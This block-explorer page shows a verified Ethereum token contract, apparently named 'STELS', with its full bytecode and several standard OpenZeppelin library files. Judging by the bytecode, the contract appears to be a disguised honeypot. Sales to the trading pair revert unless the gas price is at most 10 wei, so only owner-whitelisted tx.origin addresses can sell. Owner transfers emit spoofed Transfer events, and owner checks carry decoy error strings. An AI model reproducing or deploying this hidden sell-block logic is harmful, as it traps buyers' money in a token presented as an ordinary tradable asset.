Address Contract Verified
Address
0x8DBA836B24f4473dD6DCfB0D9530b41228a8E9eC
Balance
0 ETH
Nonce
1
Code Size
10532 bytes
Creator
0xA1221946...0fb9 at tx 0x06fe8077...0eae41
Indexed Transactions
0
Contract Bytecode
10532 bytes
0x608060405234801561000f575f80fd5b506004361061020f575f3560e01c806356cd40e711610123578063c9567bf9116100ab578063dd62ed3e1161007a578063dd62ed3e1461058d578063e067578b146105bd578063e534155d146105d9578063e69a31dc146105f7578063f3667240146106135761020f565b8063c9567bf91461052d578063ce888e1914610537578063d34628cc14610567578063dad57a13146105835761020f565b8063715018a6116100f2578063715018a61461049b5780637ae2b5c7146104a55780638f060ebf146104d557806395d89b41146104df578063a9059cbb146104fd5761020f565b806356cd40e71461043957806366eb378514610443578063684931ed1461044d57806370a082311461046b5761020f565b806331c2d847116101a657806349bd5a5e1161017557806349bd5a5e146103b95780634fab9e4c146103d7578063527ebefe146103e15780635395c9da146103eb5780635408d42d1461041b5761020f565b806331c2d8471461033557806339509351146103515780634022b75e1461038157806342966c681461039d5761020f565b80631c502285116101e25780631c5022851461029b57806323b872dd146102b757806327e235e3146102e7578063313ce567146103175761020f565b806306fdde0314610213578063095ea7b31461023157806311cd682d1461026157806318160ddd1461027d575b5f80fd5b61021b61062f565b6040516102289190611a1d565b60405180910390f35b61024b60048036038101906102469190611adb565b61066c565b6040516102589190611b33565b60405180910390f35b61027b60048036038101906102769190611b4c565b610682565b005b610285610769565b6040516102929190611b86565b60405180910390f35b6102b560048036038101906102b09190611b4c565b610772565b005b6102d160048036038101906102cc9190611b9f565b610844565b6040516102de9190611b33565b60405180910390f35b61030160048036038101906102fc9190611b4c565b6108f0565b60405161030e9190611b33565b60405180910390f35b61031f61090d565b60405161032c9190611c0a565b60405180910390f35b61034f600480360381019061034a9190611d63565b610915565b005b61036b60048036038101906103669190611adb565b610931565b6040516103789190611b33565b60405180910390f35b61039b60048036038101906103969190611e6a565b6109d1565b005b6103b760048036038101906103b29190611ef2565b610abd565b005b6103c1610aca565b6040516103ce9190611f2c565b60405180910390f35b6103df610aef565b005b6103e9610af1565b005b61040560048036038101906104009190611f7e565b610af3565b6040516104129190611b86565b60405180910390f35b610423610b1c565b6040516104309190611b33565b60405180910390f35b610441610b2f565b005b61044b610b79565b005b610455610bdc565b6040516104629190611f2c565b60405180910390f35b61048560048036038101906104809190611b4c565b610c01565b6040516104929190611b86565b60405180910390f35b6104a3610c46565b005b6104bf60048036038101906104ba9190611fbc565b610ca9565b6040516104cc9190611b86565b60405180910390f35b6104dd610cc1565b005b6104e7610cc3565b6040516104f49190611a1d565b60405180910390f35b61051760048036038101906105129190611adb565b610d00565b6040516105249190611b33565b60405180910390f35b610535610d16565b005b610551600480360381019061054c9190611adb565b610dc2565b60405161055e9190611b33565b60405180910390f35b610581600480360381019061057c9190611d63565b610dd9565b005b61058b610df5565b005b6105a760048036038101906105a29190611ffa565b610e58565b6040516105b49190611b86565b60405180910390f35b6105d760048036038101906105d29190611adb565b610eda565b005b6105e1610ede565b6040516105ee9190611f2c565b60405180910390f35b610611600480360381019061060c9190611adb565b610f03565b005b61062d60048036038101906106289190611adb565b610f07565b005b60606040518060400160405280600581526020017f5354454c53000000000000000000000000000000000000000000000000000000815250905090565b5f610678338484610fbb565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612082565b60405180910390fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600254905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f8906120ea565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61085084848461117e565b6108e584336108e08560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130690919063ffffffff16565b610fbb565b600190509392505050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f5b815181101561092d578080600101915050610917565b5050565b5f6109c733846109c28560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461136390919063ffffffff16565b610fbb565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906120ea565b60405180910390fd5b5f5b8251811015610ab757610aaa33848381518110610a8257610a81612108565b5b6020026020010151848481518110610a9d57610a9c612108565b5b602002602001015161117e565b8080600101915050610a62565b50505050565b610ac733826113c0565b50565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b565b565b5f620186a08263ffffffff1684610b0a9190612162565b610b1491906121d0565b905092915050565b600660149054906101000a900460ff1681565b5f601260ff16600a610b41919061232f565b633b9aca00610b509190612162565b90505f601260ff16600a610b64919061232f565b633b9aca00610b739190612162565b90505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f818311610cb75782610cb9565b815b905092915050565b565b60606040518060400160405280600581526020017f5354454c53000000000000000000000000000000000000000000000000000000815250905090565b5f610d0c33848461117e565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c906120ea565b60405180910390fd5b6001600660146101000a81548160ff021916908315150217905550565b5f610dcf3384600a611541565b6001905092915050565b5f5b8151811015610df1578080600101915050610ddb565b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6c906123c3565b60405180910390fd5b5f8111610fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fae9061242b565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906124b9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612547565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111719190611b86565b60405180910390a3505050565b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111dd576111d883838361158e565b611301565b600660149054906101000a900460ff1661122c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611223906125af565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156112d5575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f5576112e48382610dc2565b506112f083838361158e565b611301565b61130083838361158e565b5b505050565b5f8282111561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612617565b60405180910390fd5b5f82846113579190612635565b90508091505092915050565b5f8082846113719190612668565b9050838110156113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad906126e5565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612773565b60405180910390fd5b6114438160025461130690919063ffffffff16565b600281905550611498815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130690919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115359190611b86565b60405180910390a35050565b5f3a905081811115611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f906127b4565b60405180910390fd5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f390612842565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361166a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611661906128d0565b60405180910390fd5b6116b9815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130690919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611748815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461136390919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611867578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161185a9190611b86565b60405180910390a3611943565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119425760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119399190611b86565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119a09190611b86565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6119ef826119ad565b6119f981856119b7565b9350611a098185602086016119c7565b611a12816119d5565b840191505092915050565b5f6020820190508181035f830152611a3581846119e5565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611a7782611a4e565b9050919050565b611a8781611a6d565b8114611a91575f80fd5b50565b5f81359050611aa281611a7e565b92915050565b5f819050919050565b611aba81611aa8565b8114611ac4575f80fd5b50565b5f81359050611ad581611ab1565b92915050565b5f8060408385031215611af157611af0611a46565b5b5f611afe85828601611a94565b9250506020611b0f85828601611ac7565b9150509250929050565b5f8115159050919050565b611b2d81611b19565b82525050565b5f602082019050611b465f830184611b24565b92915050565b5f60208284031215611b6157611b60611a46565b5b5f611b6e84828501611a94565b91505092915050565b611b8081611aa8565b82525050565b5f602082019050611b995f830184611b77565b92915050565b5f805f60608486031215611bb657611bb5611a46565b5b5f611bc386828701611a94565b9350506020611bd486828701611a94565b9250506040611be586828701611ac7565b9150509250925092565b5f60ff82169050919050565b611c0481611bef565b82525050565b5f602082019050611c1d5f830184611bfb565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c5d826119d5565b810181811067ffffffffffffffff82111715611c7c57611c7b611c27565b5b80604052505050565b5f611c8e611a3d565b9050611c9a8282611c54565b919050565b5f67ffffffffffffffff821115611cb957611cb8611c27565b5b602082029050602081019050919050565b5f80fd5b5f611ce0611cdb84611c9f565b611c85565b90508083825260208201905060208402830185811115611d0357611d02611cca565b5b835b81811015611d2c5780611d188882611a94565b845260208401935050602081019050611d05565b5050509392505050565b5f82601f830112611d4a57611d49611c23565b5b8135611d5a848260208601611cce565b91505092915050565b5f60208284031215611d7857611d77611a46565b5b5f82013567ffffffffffffffff811115611d9557611d94611a4a565b5b611da184828501611d36565b91505092915050565b5f67ffffffffffffffff821115611dc457611dc3611c27565b5b602082029050602081019050919050565b5f611de7611de284611daa565b611c85565b90508083825260208201905060208402830185811115611e0a57611e09611cca565b5b835b81811015611e335780611e1f8882611ac7565b845260208401935050602081019050611e0c565b5050509392505050565b5f82601f830112611e5157611e50611c23565b5b8135611e61848260208601611dd5565b91505092915050565b5f805f60608486031215611e8157611e80611a46565b5b5f611e8e86828701611a94565b935050602084013567ffffffffffffffff811115611eaf57611eae611a4a565b5b611ebb86828701611d36565b925050604084013567ffffffffffffffff811115611edc57611edb611a4a565b5b611ee886828701611e3d565b9150509250925092565b5f60208284031215611f0757611f06611a46565b5b5f611f1484828501611ac7565b91505092915050565b611f2681611a6d565b82525050565b5f602082019050611f3f5f830184611f1d565b92915050565b5f63ffffffff82169050919050565b611f5d81611f45565b8114611f67575f80fd5b50565b5f81359050611f7881611f54565b92915050565b5f8060408385031215611f9457611f93611a46565b5b5f611fa185828601611ac7565b9250506020611fb285828601611f6a565b9150509250929050565b5f8060408385031215611fd257611fd1611a46565b5b5f611fdf85828601611ac7565b9250506020611ff085828601611ac7565b9150509250929050565b5f80604083850312156120105761200f611a46565b5b5f61201d85828601611a94565b925050602061202e85828601611a94565b9150509250929050565b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f61206c6006836119b7565b915061207782612038565b602082019050919050565b5f6020820190508181035f83015261209981612060565b9050919050565b7f6e616e00000000000000000000000000000000000000000000000000000000005f82015250565b5f6120d46003836119b7565b91506120df826120a0565b602082019050919050565b5f6020820190508181035f830152612101816120c8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61216c82611aa8565b915061217783611aa8565b925082820261218581611aa8565b9150828204841483151761219c5761219b612135565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6121da82611aa8565b91506121e583611aa8565b9250826121f5576121f46121a3565b5b828204905092915050565b5f8160011c9050919050565b5f808291508390505b60018511156122555780860481111561223157612230612135565b5b60018516156122405780820291505b808102905061224e85612200565b9450612215565b94509492505050565b5f8261226d5760019050612328565b8161227a575f9050612328565b8160018114612290576002811461229a576122c9565b6001915050612328565b60ff8411156122ac576122ab612135565b5b8360020a9150848211156122c3576122c2612135565b5b50612328565b5060208310610133831016604e8410600b84101617156122fe5782820a9050838111156122f9576122f8612135565b5b612328565b61230b848484600161220c565b9250905081840481111561232257612321612135565b5b81810290505b9392505050565b5f61233982611aa8565b915061234483611aa8565b92506123717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461225e565b905092915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f6123ad600f836119b7565b91506123b882612379565b602082019050919050565b5f6020820190508181035f8301526123da816123a1565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6124156020836119b7565b9150612420826123e1565b602082019050919050565b5f6020820190508181035f83015261244281612409565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6124a36024836119b7565b91506124ae82612449565b604082019050919050565b5f6020820190508181035f8301526124d081612497565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125316022836119b7565b915061253c826124d7565b604082019050919050565b5f6020820190508181035f83015261255e81612525565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f612599601d836119b7565b91506125a482612565565b602082019050919050565b5f6020820190508181035f8301526125c68161258d565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f612601601e836119b7565b915061260c826125cd565b602082019050919050565b5f6020820190508181035f83015261262e816125f5565b9050919050565b5f61263f82611aa8565b915061264a83611aa8565b925082820390508181111561266257612661612135565b5b92915050565b5f61267282611aa8565b915061267d83611aa8565b925082820190508082111561269557612694612135565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6126cf601b836119b7565b91506126da8261269b565b602082019050919050565b5f6020820190508181035f8301526126fc816126c3565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61275d6021836119b7565b915061276882612703565b604082019050919050565b5f6020820190508181035f83015261278a81612751565b9050919050565b50565b5f61279f5f836119b7565b91506127aa82612791565b5f82019050919050565b5f6020820190508181035f8301526127cb81612794565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61282c6025836119b7565b9150612837826127d2565b604082019050919050565b5f6020820190508181035f83015261285981612820565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6128ba6023836119b7565b91506128c582612860565b604082019050919050565b5f6020820190508181035f8301526128e7816128ae565b905091905056fea264697066735822122093cd1ebea76b5a970db22fe94164acd54613d0a0bdda9b8f03b229bdabda725464736f6c63430008190033
Verified Source Code Full Match
Compiler: v0.8.25+commit.b61c2a91
EVM: cancun
Optimization: No
IERC20Permit.sol 90 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Permit.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC-20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[ERC-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC-20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* ==== Security Considerations
*
* There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
* expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
* considered as an intention to spend the allowance in any specific way. The second is that because permits have
* built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
* take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
* generally recommended is:
*
* ```solidity
* function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
* try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
* doThing(..., value);
* }
*
* function doThing(..., uint256 value) public {
* token.safeTransferFrom(msg.sender, address(this), value);
* ...
* }
* ```
*
* Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
* `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
* {SafeERC20-safeTransferFrom}).
*
* Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
* contracts should have entry points that don't rely on permit.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*
* CAUTION: See Security Considerations above.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
draft-IERC20Permit.sol 8 lines
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; // EIP-2612 is Final as of 2022-11-01. This file is deprecated. import "./IERC20Permit.sol";
Context.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
Counters.sol 43 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
ECDSA.sol 180 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.20;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS
}
/**
* @dev The signature derives the `address(0)`.
*/
error ECDSAInvalidSignature();
/**
* @dev The signature has an invalid length.
*/
error ECDSAInvalidSignatureLength(uint256 length);
/**
* @dev The signature has an S value that is in the upper half order.
*/
error ECDSAInvalidSignatureS(bytes32 s);
/**
* @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
* return address(0) without also returning an error description. Errors are documented using an enum (error type)
* and a bytes32 providing additional information about the error.
*
* If no error is returned, then the address can be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function tryRecover(
bytes32 hash,
bytes memory signature
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly ("memory-safe") {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[ERC-2098 short signatures]
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
unchecked {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
// We do not check for an overflow here since the shift operation results in 0 or 1.
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*/
function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature, bytes32(0));
}
return (signer, RecoverError.NoError, bytes32(0));
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
*/
function _throwError(RecoverError error, bytes32 errorArg) private pure {
